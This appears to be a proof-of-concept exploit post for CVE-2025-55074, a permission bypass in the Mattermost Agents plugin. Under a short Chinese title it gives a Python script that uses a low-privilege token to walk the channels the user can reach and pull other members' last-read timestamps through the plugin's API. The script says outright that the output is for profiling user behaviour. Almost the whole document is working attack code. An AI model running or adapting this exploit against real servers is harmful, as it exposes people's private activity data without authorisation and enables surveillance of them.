CVE-2025-55074 Mattermost Agents插件权限控制绕过漏洞

# CVE-2025-55074 PoC - Mattermost Agents Plugin Information Disclosure # Author: Security Researcher # Target: Mattermost <= 10.11.3, <= 10.5.11 import requests import json TARGET_URL = "https://mattermost.example.com" API_TOKEN = "your_auth_token_here" def exploit_agents_plugin(): """ This PoC demonstrates how an authenticated low-privilege user can query channel member objects through the Agents plugin to discover when other users read specific channels. """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Enumerate channels accessible to the user channels_endpoint = f"{TARGET_URL}/api/v4/channels" channels_response = requests.get(channels_endpoint, headers=headers) if channels_response.status_code != 200: print(f"[-] Failed to enumerate channels: {channels_response.status_code}") return channels = channels_response.json() print(f"[+] Found {len(channels)} accessible channels") # Step 2: Query Agents plugin API for channel member information for channel in channels: channel_id = channel["id"] agents_endpoint = f"{TARGET_URL}/plugins/com.mattermost.agents/api/members" params = {"channel_id": channel_id} members_response = requests.get(agents_endpoint, headers=headers, params=params) if members_response.status_code == 200: members_data = members_response.json() print(f"\n[+] Channel: {channel['display_name']} ({channel_id})") # Extract reading timestamps from member objects for member in members_data: user_id = member.get("user_id", "unknown") last_read_time = member.get("last_viewed_at", "not exposed") print(f" User: {user_id[:8]}... | Last Read: {last_read_time}") print("\n[!] This information can be used to profile user behavior patterns") if __name__ == "__main__": print("CVE-2025-55074 Mattermost Agents Plugin Exploitation") print("=" * 50) exploit_agents_plugin()